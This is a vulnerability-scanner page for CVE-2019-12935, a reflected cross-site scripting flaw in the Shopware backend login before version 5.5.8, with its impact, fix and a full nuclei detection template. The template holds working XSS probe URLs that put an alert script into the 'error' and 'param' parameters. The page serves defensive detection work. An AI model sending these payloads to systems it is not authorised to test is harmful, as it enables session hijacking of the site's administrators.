Shopware < 5.5.8 - Cross-Site Scripting

highseverity

7.4CVSS score

2.7%likelihood of exploitation, next 30 days

86%of all CVEs are less likely

Readycheck to confirm it

Shopware before 5.5.8 contains a reflected cross-site scripting (XSS) caused by unsanitized query string parameters in the backend/Login or backend/Login/load/ URI, letting attackers execute arbitrary scripts in the context of the victim's browser, exploit requires sending crafted URL to the victim.

Impact

Attackers can execute malicious scripts in the victim's browser, potentially leading to session hijacking or defacement.

Fix

Update to version 5.5.8 or later.

How to confirm it

Send: GET {{BaseURL}}/admin ; GET {{BaseURL}}/backend
Positive when: status_code == 200 and contains_any(body, 'Realisiert mit Shopware','Realised with Shopware','Shopware Administration (c) shopware AG','<title>Shopware 5 - Backend (c) shopware AG</title>','Shopware.…
Send: GET {{BaseURL}}/backend/Login?error=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E ; GET {{BaseURL}}/backend/Login/load/?param=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E
Positive when: contains "<script>alert(document.domain)</script>" AND status 200 or 401

Run it with nuclei: nuclei -id CVE-2019-12935 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2019-12935

info:
  name: Shopware < 5.5.8 - Cross-Site Scripting
  author: pussycat0x
  severity: high
  description: |
    Shopware before 5.5.8 contains a reflected cross-site scripting (XSS) caused by unsanitized query string parameters in the backend/Login or backend/Login/load/ URI, letting attackers execute arbitrary scripts in the context of the victim's browser, exploit requires sending crafted URL to the victim.
  impact: |
    Attackers can execute malicious scripts in the victim's browser, potentially leading to session hijacking or defacement.
  remediation: |
    Update to version 5.5.8 or later.
  reference:
    - https://www.miggo.io/vulnerability-database/cve/CVE-2019-12935
    - https://nvd.nist.gov/vuln/detail/CVE-2019-12935
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N
    cvss-score: 7.4
    cve-id: CVE-2019-12935
    epss-score: 0.02734
    epss-percentile: 0.86227
    cwe-id: CWE-79
  metadata:
    verified: false
    max-request: 2
  tags: cve,cve2019,shopware,xss,vuln

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/admin"
      - "{{BaseURL}}/backend"

    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - "contains_any(body, 'Realisiert mit Shopware','Realised with Shopware','Shopware Administration (c) shopware AG','<title>Shopware 5 - Backend (c) shopware AG</title>','Shopware.Application.start')"
        condition: and
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/backend/Login?error=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"
      - "{{BaseURL}}/backend/Login/load/?param=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<script>alert(document.domain)</script>"

      - type: status
        status:
          - 200
          - 401
        condition: or

References

Use this check only on systems you are authorised to test. Where the data comes from